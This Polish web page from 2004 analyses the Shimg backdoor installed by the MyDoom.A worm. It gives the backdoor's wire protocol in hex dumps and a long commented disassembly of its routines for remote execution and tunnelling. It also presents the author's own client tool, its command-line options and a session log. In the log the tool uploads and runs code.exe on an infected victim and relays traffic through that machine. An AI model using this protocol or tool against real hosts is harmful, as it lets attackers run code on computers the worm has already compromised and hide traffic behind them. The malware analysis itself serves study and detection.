| Informacje podane na tej stronie mają służyć wyłącznie do celów edukacyjnych. |
Dnia 27 stycznia 2004 dostałem wiele podobnie wyglądających maili od nieznanych nadawców - wszystkie z załącznikami w postaci plików exe. Wkrótce okazało się, że jest to za sprawą wirusa W32.MyDoom.A. Jego działanie zaciekawiło mnie, a to, co o nim ustaliłem, umieściłem na tej stronie..
Koń trojański Shimg (instalowany przez MyDoom.A i mutacje) standardowo nasłuchuje na porcie 3127 (lub wyższe) w oczekiwaniu na jedno z dwu żądań: uruchomienie przesłanego pliku wykonywalnego lub ustanowienie tunelowanego połączenia z trzecim hostem.
Kod serwera jest przechowywany w bibliotece system/shimgapi.dll (4096 bajtów) w katalogu Windows. Wirus dodaje wpis w rejestrze o kluczu: HKEY_CLASSES_ROOT\CLSID\{E6FB5E20-DE35-11CF-9C87-00AA005127ED}\InProcServer32, co powoduje automatyczne ładowanie biblioteki w czasie startu powłoki systemowej Explorer.exe.
Plik wykonywalny, rozsyłany przez wirusa, jest spakowany UPX, podobnie jak biblioteka Shimg. Ponadto wszystkie łańcuchy znaków - szablony maili, komendy SMTP, zmieniane klucze rejestru, omijane adresy... - są zakodowane ROT13. W szczególności, można tam dostrzec pozostawiony tag systemu kontroli rewizji (sync.c,v 0.1 2004/01/xx xx:xx:xx andy) - w pliku dll znajduje się także 884-znakowy ciąg powtarzających się liter SYNC, ale chyba nie jest do niczego wykorzystywany.
| Tunelowanie połączeń |
0000000: 0401 0fc8 c0a8 4201 00 474554202f2048 ......B..GET / H
^^1^ ^^2^ ^^^^3^^^^ ^4 ^^^^^^^^5^^^^^
0000010: 5454 502f 312e 310a 486f 7374 3a20 7777 TTP/1.1.Host: ww
0000020: 772e 6d69 6372 6f73 6f66 742e 636f 6d0a w.microsoft.com.
sent 0, rcvd 49
1 -- 2 bajty, żądanie ustanowienia tunelu [\x04\x01]
2 -- 2 bajty, docelowy port w porządku sieciowym
3 -- 4 bajty, docelowy adres IP w porządku sieciowym
4 -- 1 bajt, separator żądania od tunelowanych danych [\x00]
5 -- dane do przesłania ustanowionym tunelem |
| Zdalne wykonywanie kodu programu |
0000000: 85 133c9ea2 4d5a900003000000040000 ..<..MZ.........
^1 ^^^^2^^^ ^^^^^^^^^^^3^^^^^^^^^^
0000010: 00ff ff00 00b8 0000 0000 0000 0040 0000 .............@..
[...]
0000050: 4ccd 2154 6869 7320 7072 6f67 7261 6d20 L.!This program
0000060: 6361 6e6e 6f74 2062 6520 7275 6e20 696e cannot be run in
0000070: 2044 4f53 206d 6f64 652e 0d0d 0a24 0000 DOS mode....$..
1 -- 1 bajt, żądanie wykonania przesłanego programu [\x85]
2 -- 4 bajty, liczba potwierdzająca [\x13\x3C\x9E\xA2]
3 -- dane zawierające program do uruchomienia |
; Funkcja trojanowania (uruchamianie zapodanej binarki)
SUB_L7E1A14D0:
push ebp ;
mov ebp,esp ; prolog funkcji
sub esp,00000664h ;
push esi
xor esi,esi
push edi
mov edi,[WSOCK32.dll!WSOCK32.16] ; włożenie &recv do rejestru edi
push esi
lea eax,[ebp-08h]
push 00000001h ; len = 1
push eax
push [ebp+08h]
mov [ebp-04h],esi
call edi ; recv() - wczytanie bajtu \x85
push esi
lea eax,[ebp-08h]
push 00000004h
push eax
push [ebp+08h]
call edi
push [ebp-08h]
call [WSOCK32.dll!WSOCK32.14] ; ntohl()
cmp eax,133C9EA2h ;
mov [ebp-08h],eax ; Kolejne cztery bajty muszą być ,,133C9EA2''
jnz L7E1A1645 ;
lea eax,[ebp-00000264h]
push eax
push 00000104h
call [KERNEL32.DLL!GetTempPathA] ;
lea eax,[ebp-00000160h] ;
push eax ;
push esi ; ustalanie tymczasowej ścieżki
lea eax,[ebp-00000264h] ;
push L7E1A1440 ;
push eax ;
call [KERNEL32.DLL!GetTempFileNameA] ;
push esi
push 00000080h
push 00000002h
push esi
push 00000001h
lea eax,[ebp-00000160h]
push 40000000h
push eax ;
call [KERNEL32.DLL!CreateFileA] ; Utworzenie pliku
cmp eax,esi ;
mov [ebp-04h],eax
jz L7E1A1642
cmp eax,FFFFFFFFh
jz L7E1A1642
push ebx
mov ebx,00000400h
jmp L7E1A1590
L7E1A157A:
lea ecx,[ebp-08h]
push esi
push ecx
push eax
lea eax,[ebp-00000664h]
push eax
push [ebp-04h] ;
call [KERNEL32.DLL!WriteFile] ; Wpisanie treści nadesłanego pliku EXE
L7E1A1590: ;
push esi
lea eax,[ebp-00000664h]
push ebx
push eax
push [ebp+08h]
call edi
cmp eax,esi
jg L7E1A157A
push [ebp-04h]
mov edi,[KERNEL32.DLL!CloseHandle] ; Zamknięcie
call edi
push 00000044h
lea eax,[ebp-5Ch]
pop ebx
push ebx
push esi
push eax
call SUB_L7E1A1CD0
xor eax,eax
mov [ebp-5Ch],ebx
inc eax
mov dword ptr [ebp-30h],00000087h
mov [ebp-40h],eax
mov [ebp-44h],eax
lea eax,[ebp-00000160h]
mov [ebp-48h],esi
push eax
lea eax,[ebp-00000664h]
push SSZ7E1A1438___s_
push eax
mov [ebp-4Ch],esi
mov [ebp-2Ch],si
call [USER32.dll!wsprintfA]
add esp,00000018h
lea eax,[ebp-18h]
push eax
lea eax,[ebp-5Ch]
push eax
push esi
push esi ;
push esi ;
push esi ;
push esi ;
lea eax,[ebp-00000664h] ;
push esi ;
push eax ;
push esi ; Uruchomienie przysłanego pliku EXE
call [KERNEL32.DLL!CreateProcessA] ;
test eax,eax ;
pop ebx
jz L7E1A1645
push FFFFFFFFh
push [ebp-18h]
call [KERNEL32.DLL!WaitForSingleObject]
push [ebp-14h]
call edi
push [ebp-18h]
call edi
lea eax,[ebp-00000160h]
push eax
call [KERNEL32.DLL!DeleteFileA] ; Usunięcie pliku
push [ebp+08h]
call [WSOCK32.dll!WSOCK32.3]
jmp L7E1A1660
L7E1A1642:
mov [ebp-04h],esi
L7E1A1645:
push [ebp+08h]
call [WSOCK32.dll!WSOCK32.3] ; closesocket()
cmp [ebp-04h],esi
jz L7E1A1660
lea eax,[ebp-00000160h]
push eax
call [KERNEL32.DLL!DeleteFileA]
L7E1A1660:
pop edi
pop esi
leave
retn
;------------------------------------------------------------------------------
SUB_L7E1A1664:
push ebp
mov ebp,esp
sub esp,0000012Ch
push esi
push edi
xor edi,edi
L7E1A1671:
lea esi,[ebp+edi-0000012Ch]
push 00000000h
push 00000001h ; len == 1
push esi ; odłożenie esi - jest w nim wskaźnik na bufor
push [ebp+08h] ; deskryptor
call [WSOCK32.dll!WSOCK32.16] ; recv()
test eax,eax
jle L7E1A16BF ; skok gdy recv() <= 0
cmp byte ptr [esi],00h ; czy wczytany bajt to \x00
jz L7E1A1698 ; ...skok, jeśli tak
inc edi
cmp edi,000000FFh
jc L7E1A1671
L7E1A1698:
lea eax,[ebp-0000012Ch]
push eax
call [WSOCK32.dll!WSOCK32.10] ; inet_addr()
test eax,eax
jz L7E1A16AE ; skok, gdy inet_addr zawiodło
cmp eax,FFFFFFFFh
jnz L7E1A16CB ; skok, gdy IP != 255.255.255.255
L7E1A16AE:
lea eax,[ebp-0000012Ch]
push eax
call [WSOCK32.dll!WSOCK32.52] ; gethostbyname()
test eax,eax
jnz L7E1A16C4 ; skok, jeśli gethostbyname() != 0
L7E1A16BF:
xor eax,eax
inc eax
jmp L7E1A16CF
L7E1A16C4:
mov eax,[eax+0Ch] ;tu jest jakaś zawiła dereferencja
mov eax,[eax] ;(pewnie wyłuskanie adresu ze struct hostenv)
mov eax,[eax]
L7E1A16CB:
mov [ebx],eax
xor eax,eax
L7E1A16CF:
pop edi
pop esi
leave
retn
;------------------------------------------------------------------------------
SUB_L7E1A16D3:
push ebp
mov ebp,esp
mov eax,00001104h
call SUB_L7E1A1D30
push ebx
push esi
mov esi,[WSOCK32.dll!WSOCK32.16] ; recv()
push edi
xor ebx,ebx
mov edi,00001000h
L7E1A16F0:
mov eax,[ebp+08h]
xor ecx,ecx
inc ecx
mov [ebp-00000100h],eax
mov [ebp-00000104h],ecx
xor eax,eax
L7E1A1704:
mov edx,[ebp+0Ch]
cmp [ebp+eax*4-00000100h],edx
jz L7E1A1715
inc eax
cmp eax,ecx
jc L7E1A1704
L7E1A1715:
cmp eax,ecx
jnz L7E1A1729
mov [ebp-000000FCh],edx
mov dword ptr [ebp-00000104h],00000002h
L7E1A1729:
push ebx
push ebx
lea eax,[ebp-00000104h]
push ebx
push eax
push ebx
call [WSOCK32.dll!WSOCK32.18] ; select()
test eax,eax
jle L7E1A17B5
lea eax,[ebp-00000104h]
push eax
push [ebp+08h]
call jmp_WSOCK32.dll!WSOCK32.151
test eax,eax
jz L7E1A1775
push ebx
lea eax,[ebp-00001104h]
push edi
push eax
push [ebp+08h]
call esi
cmp eax,ebx
jle L7E1A17B5
push ebx
push eax
lea eax,[ebp-00001104h]
push eax
push [ebp+0Ch]
call [WSOCK32.dll!WSOCK32.19] ; send()
L7E1A1775:
lea eax,[ebp-00000104h]
push eax
push [ebp+0Ch]
call jmp_WSOCK32.dll!WSOCK32.151
test eax,eax
jz L7E1A16F0
push ebx
lea eax,[ebp-00001104h]
push edi
push eax
push [ebp+0Ch]
call esi
cmp eax,ebx
jle L7E1A17B5
push ebx
push eax
lea eax,[ebp-00001104h]
push eax
push [ebp+08h]
call [WSOCK32.dll!WSOCK32.19] ; send()
jmp L7E1A16F0
L7E1A17B5:
pop edi
pop esi
pop ebx
leave
retn
;------------------------------------------------------------------------------
SUB_L7E1A17BA:
push ebp ;
mov ebp,esp ; prolog funkcji
sub esp,00000020h ;
or dword ptr [ebp-08h],FFFFFFFFh
push esi
mov esi,[WSOCK32.dll!WSOCK32.16] ; wstawienie adresu recv() do esi
push 00000002h ; Ustawienie flagi MSG_PEEK dla recv()
; [nieblokujące ,,spojrzenie'']
lea eax,[ebp-01h] ; obliczenie wskaźnika na bufor
push 00000001h ; len == 1
push eax ; bufor
push [ebp+08h] ; deskryptor gniazda klienckiego
call esi ; recv()
cmp eax,00000001h ;
jnz L7E1A1908 ; skok na koniec f-kcji, gdy ilość wczytanych bajtów != 1
cmp byte ptr [ebp-01h],85h ;
jnz L7E1A17F5 ; skok, gdy bajt != \x85
push [ebp+08h] ; jest \x85,
call SUB_L7E1A14D0 ; ...zatem funkcja trojanowania
pop ecx
jmp L7E1A1908
L7E1A17F5:
cmp byte ptr [ebp-01h],04h ; czy jest bajt 0x04 (forwarding)
push ebx
jnz L7E1A18B7 ; skok gdy bajt to nie 0x04
xor ebx,ebx
L7E1A1802:
push 00000000h
push 00000008h
pop eax
sub eax,ebx
push eax ; wczytać 8 bajtów
lea eax,[ebp+ebx-10h]
push eax ; adres bufora, dokąd wczytać
push [ebp+08h] ; położenie deskryptora gniazda
call esi ; recv()
test eax,eax
jl L7E1A1823 ; czy ret < 0
jz L7E1A1825 ; czy ret == 0
add ebx,eax
cmp ebx,00000008h ; czy wczytano 8
jl L7E1A1802 ; ..jeśli mniej, to pętla - wczytywać dalej
jmp L7E1A1825
L7E1A1823:
mov ebx,eax
L7E1A1825:
cmp ebx,00000008h ; czy wczytano 8
jnz L7E1A1907 ; skok, jeśli nie 8
jmp L7E1A1836
L7E1A1830:
cmp byte ptr [ebp-02h],00h ; porównanie wczytanego bajtu
jz L7E1A184A ; ...i skok, jeśli jest on \x00
L7E1A1836: ; wczytanie bajtu z gniazda
push 00000000h ; flagi recv
lea eax,[ebp-02h]
push 00000001h ; len = 1 bajt
push eax ; wskaźnik na bufor
push [ebp+08h] ; deskryptor
call esi ; recv()
cmp eax,00000001h
jz L7E1A1830 ; skok jeśli wczytano 1 (tyle zamierzano)
jmp L7E1A18B7
L7E1A184A:
cmp byte ptr [ebp-10h],04h ; sprawdzenie czy pierwszy bajt oktetu to \x04
jnz L7E1A18B7
cmp byte ptr [ebp-0Fh],01h ; sprawdzenie czy następuje \x01
jnz L7E1A18B7
cmp dword ptr [ebp-0Ch],00000000h ; sprawdzenie, czy IP to 0.0.0.0
jz L7E1A187C ; ...skok, jeśli tak
push [ebp-0Ch] ; odłożenie wskaźnika na IP na stos
call [WSOCK32.dll!WSOCK32.8] ; htonl() - zamiana na porządek sieciowy
test eax,FFFFFF00h
jnz L7E1A187C ; skok, jeśli adresem było 255.255.255.0
push [ebp+08h] ; odłożenie adresu deskryptora
lea ebx,[ebp-0Ch] ; wskaźnik na IP
call SUB_L7E1A1664
test eax,eax
pop ecx
jnz L7E1A18B7
L7E1A187C:
mov ax,[ebp-0Eh] ; port docelowy
push 00000006h ; 6 to protokół TCP
mov [ebp-1Eh],ax ; port
mov eax,[ebp-0Ch] ; adres docelowy
push 00000001h ; 1 to typ SOCK_STREAM
push 00000002h ; 2 to rodzina AF_INET
mov word ptr [ebp-20h],0002h
mov [ebp-1Ch],eax
call [WSOCK32.dll!WSOCK32.23] ; socket()
cmp eax,FFFFFFFFh ; czy ret == -1
mov [ebp-08h],eax
jz L7E1A18B7 ; ..skok jeśli socket() == -1
lea eax,[ebp-20h]
push 00000010h
push eax
push [ebp-08h]
call [WSOCK32.dll!WSOCK32.4] ; connect() - ustanawianie połączenia
test eax,eax
jz L7E1A18D2 ; skok, jeśli connect() == 0 (poszło OK)
L7E1A18B7: ; jest błąd - wysłanie ,,[''
push 00000000h
lea eax,[ebp-10h]
push 00000008h
push eax
push [ebp+08h]
mov byte ptr [ebp-10h],04h
mov byte ptr [ebp-0Fh],5Bh ; 5B to kod znaku ,,[''
call [WSOCK32.dll!WSOCK32.19] ; send()
jmp L7E1A18F8
;
; Udało się zestawić tunelowane połączenie
;
L7E1A18D2:
push 00000000h
lea eax,[ebp-10h]
push 00000008h
push eax
push [ebp+08h]
mov byte ptr [ebp-10h],04h
mov byte ptr [ebp-0Fh],5Ah ; 5A to kod znaku ,,Z''
call [WSOCK32.dll!WSOCK32.19] ; send()
push [ebp-08h]
push [ebp+08h]
call SUB_L7E1A16D3 ; obsługa tunelu
pop ecx
pop ecx
L7E1A18F8:
cmp dword ptr [ebp-08h],FFFFFFFFh
jz L7E1A1907
push [ebp-08h]
call [WSOCK32.dll!WSOCK32.3] ; closesocket()
L7E1A1907:
pop ebx
L7E1A1908:
push [ebp+08h]
call [WSOCK32.dll!WSOCK32.3] ; closesocket()
pop esi
leave
retn
;------------------------------------------------------------------------------
L7E1A1914:
push esi
mov esi,[KERNEL32.DLL!GetTickCount]
push edi
xor edi,edi
L7E1A191E:
push 00000000h ; wskaźnik na struct sockaddr jest NULL
push 00000000h ; j.w. ale dla struct addrlen
push [esp+14h] ; deskryptor gniazda serwerowego
call [WSOCK32.dll!WSOCK32.1] ; accept()
test eax,eax
jz L7E1A191E ;
cmp eax,FFFFFFFFh ; pętla tak długo, gdy accept() == 0 lub -1
jz L7E1A191E ;
inc [L7E1A1D70] ; jakiś licznik jednoczesnych połączeń (chyba maks. 3)
push eax
call SUB_L7E1A17BA ; funkcja obsługi ,,klienta''
dec [L7E1A1D70] ; dekrementacja licznika
pop ecx
call esi
sub eax,edi
cmp eax,00000014h
jnc L7E1A1959
push 00000032h
call [KERNEL32.DLL!Sleep]
L7E1A1959:
call esi
mov edi,eax
jmp L7E1A191E ; wykonywanie tego wszystkiego w pętli
SUB_L7E1A195F:
mov eax,[esp+04h]
jmp L7E1A196C
L7E1A1965:
cmp cl,[esp+08h]
jz L7E1A1972
inc eax
L7E1A196C:
mov cl,[eax]
test cl,cl
jnz L7E1A1965
L7E1A1972:
mov cl,[eax]
sub cl,[esp+08h]
neg cl
sbb ecx,ecx
not ecx
and eax,ecx
retn
*--------* *----------*
*------>------------------->| Victim | ---->------->| Internet |
| *------>| | | *----------*
| | *--------* | *-------------------*
*-----------* *-------* *-->| www.microsoft.com |
| Psotnik |----->--->| Proxy | *---------* *-------------------*
| |<-* *-------* *--| Klienci |
*-----------* | | *---------*
*------<---------<--*
Program umożliwia wykrycie Shimg, uruchomienie dowolnego programu na atakowanym systemie, a także zestawienie połączenia z dowolnym adresem (w protokole TCP/IP) za pośrednictwem zainfekowanego komputera. Opcjonalnie wszystkie działania mogą być przeprowadzane przez serwer proxy, który musi udostępniać metodę CONNECT. Program może wyczekiwać na wybranym porcie na połączenia klientów i automatycznie zestawiać połączenie przez zainfekowany system.
Argumenty linii poleceń:
./MyDoom [-t] [[-l <adres[:port]>] -f <Adres_Docelowy[:port]>]
[-p <Proxy[:port]>] [-r <Plik.exe>] <Cel_Ataku[:port]>
-t Sprawdzenie, czy w podanej lokalizacji działa trojan MyDoom (shimg)
-f Zestawienie tunelowanego połączenia z Adresem_Docelowym (forwarding)
-r Uruchomienie podanego <Pliku.exe> na atakowanym komputerze
-p Wykonywanie wszyskich działań przez proxy (metoda CONNECT)
-l Nasłuchiwanie na porcie w celu tunelowania
Kod programu można pobrać tutaj:| A to wszystko działa mniej więcej tak... |
$ ./MyDoom -p PROX -r code.exe -l ox2:50881 -f www.ibm.com:80 -t <VVV.VVV.VVV.VVV> -------------------------------------------------- **** klient MyDoom.c (shimg) ***** **** nie 01 lut 2004 21:27:20 CET ***** **** Robert Nowotniak <rob@submarine.ath.cx> ***** -------------------------------------------------- *** Program _WYŁĄCZNIE_ do celów edukacyjnych. *** -------------------------------------------------- [i] Nazwa PROX wskazuje na adres <PPP.PPP.PPP.PPP> [*] Sprawdzanie dostępności portu 3127 na serwerze <VVV.VVV.VVV.VVV>... [i] Łączenie z proxy... [i] Serwer proxy ustanowił połączenie. [i] Odpowiedź od serwera: [i] 0x4 0x5B 0x0 0x0 0x0 0x0 0x0 0x0 [!] W podanym położeniu działa trojan MyDoom (shimg). [*] Wysyłanie pliku (code.exe) do uruchomienia przez trojana... [!] OK. Plik został przesłany na podany adres. [i] Nazwa ox2 wskazuje na adres <AAA.AAA.AAA.AAA> [*] Oczekiwanie na połączenie klienta... [i] Nadeszło połączenie z <KKK.KKK.KKK.KKK>:33091... [i] Nazwa www.ibm.com wskazuje na adres 129.42.16.99 [*] Ustanawianie połączenia z 129.42.16.99:80 poprzez <VVV.VVV.VVV.VVV>:3127... [i] Łączenie z proxy... [i] Serwer proxy ustanowił połączenie. [!] Trojan Shimg odpowiedział, że nawiązał połączenie. ox2 [AAA.AAA.AAA.AAA] 50881 (?) open HEAD / HTTP/1.1 Host: www.ibm.com HTTP/1.1 302 Found Date: Mon, 09 Feb 2004 20:25:47 GMT Server: IBM_HTTP_SERVER/1.3.26 Apache/1.3.26 (Unix) Location: http://www.ibm.com/us/ Content-Type: text/html sent 35, rcvd 172 [*] Połączenie zostało zamknięte. $ _ |